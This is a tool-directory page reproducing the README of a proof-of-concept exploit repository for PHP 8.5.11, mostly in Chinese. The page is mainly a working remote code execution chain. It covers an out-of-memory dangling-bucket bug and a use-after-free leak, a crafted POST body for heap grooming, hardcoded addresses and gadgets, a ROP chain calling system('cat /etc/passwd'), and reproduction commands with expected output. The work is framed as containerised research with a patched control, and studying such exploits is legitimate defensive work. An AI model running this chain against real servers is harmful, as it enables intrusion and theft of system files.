Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
actual-php2shell — 🤖 不,利用这个漏洞其实很简单!(为了证明观点而用 vibe coding 编写) | Kitploit
工具/GitHubGitHub/cookiengineer/actual-php2shell
容器安全内存取证漏洞分析漏洞利用逆向工程Shellcode论文与研究二进制利用
GitHubcookiengineer/actual-php2shell

actual-php2shell

🤖 不,利用这个漏洞其实很简单!(为了证明观点而用 vibe coding 编写)

查看仓库
176317小时40分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

actual-php2shell

一个可复现、与应用程序无关的远程代码执行 PoC,针对 PHP 8.5.11(2026 年 10 月的安全公告)。它将两个 2026 年 PHP 内存破坏漏洞转化为 system("cat /etc/passwd"),且无需任何应用程序代码——受害者的 index.php 仅输出 ok。

  • CVE-2026-109618 —— OOM longjmp 放弃了一个构建到一半的 HashTable,留下一个悬空的 bucket,随后在 shutdown 时被销毁。这就是 RCE 原语。
  • CVE-2026-109619 —— 请求持有的错误状态(致命错误回溯)在请求 shutdown 后仍然存活,并被下一个请求重新释放。这就是信息泄露 / ASLR 绕过原语(此处为单独的演示)。

一切均可在 Podman 容器中完全复现。已确认的端到端结果是 ./exploits/cve-2026-109618-oom/rce.py 读取 /etc/passwd。


1. 漏洞(CVE-2026-109618)

当 PHP 内存耗尽时,它会调用 zend_mm_safe_error() → zend_error_noreturn() → zend_bailout()(longjmp)。在 8.5.11 中,哈希表插入不是分配可失败的,因此 OOM 可能在 HashTable 处于半修改状态时展开。

破坏点位于 _zend_hash_str_add_or_update_i() 的 add_to_hash(Zend/zend_hash.c:960):

add_to_hash:
    idx = ht->nNumUsed++;                       /* (1) bumped first      */
    ht->nNumOfElements++;                       /* (2) bumped            */
    p = ht->arData + idx;
    p->key = key = zend_string_init(str, len);  /* (3) OOM -> zend_bailout */

如果键副本 zend_string_init 发生 OOM,则桶 p 会保持未写入状态(key/h/val 均为陈旧值),但 nNumUsed 已经递增。在请求关闭时,zend_array_destroy() 会遍历 nNumUsed 个桶,并对未写入桶的垃圾 val 调用 i_zval_ptr_dtor(&p->val)——这是一个由攻击者构造的值。8.5.12 的修复将每个此类分配替换为可失败变体(femalloc/fperealloc2 + HASH_FALLIBLE),使插入能够干净地返回,而不是中途退出。

2. 对象图 / 堆风水平衡

该漏洞利用完全围绕让一个受控的 2560 字节块成为 HashTable 的 arData,而该 HashTable 的最后一个桶正是 OOM 桶。必须平衡的值及其原因如下:

类型 / 变量大小作用
zend_array(HashTable)头部56 BarData、nNumUsed、nTableSize、pDestructor
Bucket32 Bval(16) + h(8) + key(8);未写入的那个是我们的目标
zval16 Bvalue(8) + u1.type_info(4) + u2(4)——我们设置 type_info
zend_string24 B 头部 + 数据填充值;其长度决定分配器 bin
zend_object56 B伪造对象:gc(8) handle(4) ce(8) handlers(8) properties(8)
zend_object_handlersoffset/free_obj/dtor_objfree_obj 是枢轴 gadget
zend_mm_heap / zend_mm_chunk—free_slot[]、free_tail、map[](bin 28 = 2560 B)

整个风水布局所依赖的两个分配器事实:

  1. 64 桶表的 arData 恰好是 2560 字节 = bin 28 (HT_SIZE_EX(64) = 64*32 buckets + 128*4 hash = 2560),因为 HT_SIZE_TO_MASK(n) = -(2n)。
  2. b150(被遍历)和 b0e0(被丢弃)是 $_POST["a"] 的两份副本, 由符号表 SEPARATE_ARRAY/间接路径创建;每个 a[<large>][c]=v 字段都会将 <large> 键插入到两者中,而 b0e0 总是 领先 1 个键。只有 b150 会被 php_request_shutdown 销毁,因此 OOM 必须落在 b150 上。

3. 完整利用链(见 rce.py)

请求体是一个 urlencoded POST:

memshift=<40 KB of M>&
a[X…0000000000000000][c]=v&  … (30 fields)
pad=<crafted 2528 B>&
pad=x&
a[X…0000000000000030][c]=v&  … (fields 30..59)
  1. memshift(约 40 KB) 消耗的内存刚好足以让 OOM 在 OOM 字段的第一次插入时触发,即插入到 b150(被遍历的表)中,而不是被丢弃的 b0e0。
  2. pad=<2528 B>:add_post_var 先执行 estrndup(A),再执行 ZVAL_STRINGL_FAST(B, copy)。实测 B = padlen + 32,因此 padlen=2528 得到 A = 2529、B = 2560 —— 两者都落在 bin 28。A 由 estrndup 路径释放。
  3. pad=x(重复键) 会 DTOR 保留的副本 B,释放第二个、不同的 bin-28 槽位。此时 b150 的 32→64 扩容会复用 B —— 我们控制的字节成为 b150 的 arData。
  4. pad 字节将 payload 放在 arData 的受控尾部(bucket 46–63,原始偏移 ≥ 1984)—— 而不是 偏移 0x100 处,那里是被 zend_hash_rehash 重写的哈希数组。
  5. 未写入的 bucket(原始偏移 1952 = pad 偏移 1928)被设置为 IS_OBJECT,且 value.obj = &fake_object。
  6. 关闭时遍历它:i_zval_ptr_dtor → rc_dtor_func → zend_objects_store_del → handlers->free_obj = pivot → ROP → system("cat /etc/passwd > /var/www/html/leak.txt");随后 GET /leak.txt 即可返回该文件。

两个微妙的要求耗费了大量实际调试时间(均在 rce.py 中):

  • 伪造对象/ROP 必须位于 arData 的尾部;pad 偏移 0x100 是哈希数组,会被覆盖。
  • __libc_system 使用 movaps(16 字节对齐),因此在 pop rdi; ret 和 system 之间插入一个额外的 ret gadget —— 否则会在 __libc_system 内部、execve 之前触发 SIGSEGV。

4. 目标地址(关闭 ASLR,setarch -R)

基于 php-rce-oom-debug:8.5.11(基础镜像 php-rce-base:8.5.11)实测。libphp/libc 基址在基础构建中相同;堆偏移 B 会随已安装的库变化(安装 gdb 使其移动),因此针对不同镜像需重新测量 B,或在开启 ASLR 时通过信息泄露来解析它。

符号地址
libphp 基址0x7ffff4400000
libc 基址0x7ffff7cd4000
system0x7ffff7d20490(libc+0x4c490)
pop rdi; ret0x7ffff7cfb7e5(libc+0x277e5)
ret0x7ffff7cfb7e6
pivot(jump_fcontext+0x2e)0x7ffff49fb8ae
主 chunk([anon:zend_alloc])0x7ffff7200000
B(arData 原始块 = b150->arData - 512)0x7ffff725e400
伪造 handlersB + 24 + 2000 = 0x7ffff725ebe8
伪造对象B + 24 + 2048 = 0x7ffff725ec18
cmd 字符串B + 24 + 2200 = 0x7ffff725ecb0

ROP 链(相对于伪造对象 o):

o+0x40  pop rdi; ret     (r8 loaded by the pivot)
o+0x48  &cmd             (rdi)
o+0x50  ret              (stack alignment for movaps)
o+0x58  system

5. 复现

需要 Podman。从仓库根目录执行:

# build base + OOM + debug (gdb) images
./exploits/cve-2026-109618-oom/trace.sh build

# run the vulnerable worker with ASLR disabled (setarch -R), port 8084
./exploits/cve-2026-109618-oom/trace.sh up

# exploit: OOM -> free_obj hijack -> system("cat /etc/passwd")
python3 exploits/cve-2026-109618-oom/rce.py 127.0.0.1 8084

预期输出:

[+] RCE: read /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

其他演示

# stale fatal-backtrace UAF crash (CVE-2026-109619)
./exploits/cve-2026-109619-stale-state/run.sh up && ./exploits/cve-2026-109619-stale-state/run.sh uaf

# info-leak / ASLR-bypass primitive (addresses + read path)
./exploits/cve-2026-109619-info-leak/run.sh build && ./exploits/cve-2026-109619-info-leak/run.sh up && ./exploits/cve-2026-109619-info-leak/run.sh leak

# negative control (patched 8.5.12 survives the same sequence)
./exploits/negative-control/run.sh up && ./exploits/negative-control/run.sh

6. 仓库布局

affected-versions/          vendored vulnerable PHP tarballs (8.2.34/8.3.35/8.4.26/8.5.11)
patched-versions/           vendored patched 8.5.12 tarball (negative control)
references/                 the two GHSA advisories + the 2004 Esser advisory + php-bug-78876
container/
  base/                     shared Apache 2.4 + PHP build (parameterized by version)
  cve-2026-109618-oom/      OOM victim (memory_limit=8M) + gdb debug layer
  cve-2026-109619-stale-state/   stale-backtrace UAF victim + gdb debug layer
  cve-2026-109619-info-leak/     info-leak / ASLR-bypass victim
  negative-control/         patched 8.5.12, same config
exploits/
  lib/client.py             raw-socket HTTP client (controlled framing)
  cve-2026-109618-oom/      exploit.py (trigger), stalealias.py, rce.py, trace.py/trace.sh
  cve-2026-109619-stale-state/   producer/consumer/exploit/rop/leak + run.sh + trace.sh
  cve-2026-109619-info-leak/     leak.py + run.sh
  negative-control/
docs/
  attack-surface.md         exact vulnerable source locations
  memory-layout.md          measured object graph + ROP + addresses
  heap-feng-shui.md         the grooming progress log (§8.8–8.16 is the RCE chain)
  info-leak.md              the info-leak / ASLR-bypass primitive
  exploit-plan.md / implementation-plan.md / tasks.md

7. 范围 / 注意事项

  • 这是一个禁用 ASLR 的 PoC(setarch -R),因此地址是固定的。 若启用 ASLR,堆基址和模块基址必须来自 cve-2026-109619-info-leak 原语(docs/info-leak.md)。
  • B 偏移量依赖于镜像(已安装的库会移动堆的位置);对于不同的镜像,需用 gdb 跟踪器重新测量 B = b150->arData - 512。
  • 受害者与应用程序无关:index.php 不进行任何文件系统 I/O,且 不参与该漏洞利用。
  • 完整发现和逐步的分配器推理见 docs/。
下载工具